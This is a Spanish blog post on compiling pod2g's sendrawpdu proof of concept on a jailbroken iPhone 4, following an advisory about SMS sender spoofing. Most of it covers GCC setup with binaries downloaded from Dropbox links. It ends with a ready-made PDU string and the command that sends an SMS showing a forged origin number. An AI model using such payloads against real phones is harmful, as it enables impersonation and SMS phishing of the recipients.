Spoofing teléfono origen al enviar SMS en iPhone 4

Recientemente pod2g publicó un aviso de seguridad en el que decía que la aplicación de SMS del iPhone 4 era susceptible de recibir mensajes SMS con el teléfono origen “spoofeado” (modificado por otro teléfono cualquiera) sin avisar al usuario, haciendo uso del formato PDU que se utiliza para este menester.

Ahora, pod2g ha publicado la herramienta sendrawpdu como prueba de concepto.

Compilarla en iPhone me ha costado un rato, así que os paso el procedimiento para un iPhone 4 con IOS 5.1.1

1º- Tener hecho el Jailbreak

2º- librerias SDK: http://iodine-idevice.googlecode.com/files/sdk-2.0-headers.tar.gz

3º- Cydia no permite en la actualidad instalar GCC directamente ya que falla una dependencia con las librerías LIBGCC, como ya no están disponibles por problemas de compatibilidad, tendremos que bajar una librería-fake que hace que se cumpla la dependencia y nos permita instalar GCC desde Cydia. Así que descargamos la librería-fake: http://files.getdropbox.com/u/876743/fake-libgcc_1.0_iphoneos-arm.deb

La copiamos al iPhone con el método que más nos guste y la instalamos desde un terminal o desde una conexión por SSH poniendo:

dpkg –i fake-libgcc_1.0_iphoneos-arm.deb

4º- Instalar GCC desde Cydia, que ya cumplirá con las dependencias

5º- Copiar las librerías SDK (las del paso 2º) a /usr/include en el iPhone, sin sobreescribir ninguna librería ya existente.

6º- Al intentar compilar con GCC en el estado actual nos dará el error:

ld: library not found for -lgcc_s.10.5
collect2: ld returned 1 exit status

Para corregirlo bastará con añadir las 3 librerías del enlace http://dl.dropbox.com/u/207260/gcc_files.rar en /usr/lib en el iPhone, de forma que la librería-fake de antes apunte a una librería existente. El error se produce porque la librería-fake que hemos instalado antes sólo hace que cumpla dependencias, pero no apunta a una librería real y por tanto falla la compilación.

7º- Una vez realizados estos pasos ya funcionará el compilador GCC, podéis probar a compilar un “Hola Mundo”, creando un fichero .c con el siguiente contenido:

#include <stdio.h>
int main() {
printf("Hello\n");
return 0;
}

Y compilando con:

gcc –o hola archivo.c

8º- Al intentar ejecutar el archivo compilado nos dará un error “Killed”:

./hola
Killed: 9

Esto se produce porque el fichero no está firmado, así que tendremos que descargar ldid desde Cydia y ejecutar:

ldid –S hola

Y ya nos permitirá ejecutar el fichero compilado:

./hola
Hello

9º- A partir de aquí, ya podemos descargar la aplicación sendrawpdu y compilarla con:

gcc –o sendrawpdu main.c

 

Para utilizar el programa tendremos que generar la cadena PDU a enviar, esto podemos hacerlo por ejemplo con PDUSpy

Por ejemplo, podemos generar la PDU “00610009A166163254F600001009220709A166666666F6442DCFE9” que enviará un mensaje al 666123456 con el “reply-to” (o teléfono que aparecerá como origen spoofeado) desde 666666666 y con el texto “Test” y enviarlo con:

./sendrawpdu 00610009A166163254F600001009220709A166666666F6442DCFE9

Espero vuestros comentarios!!!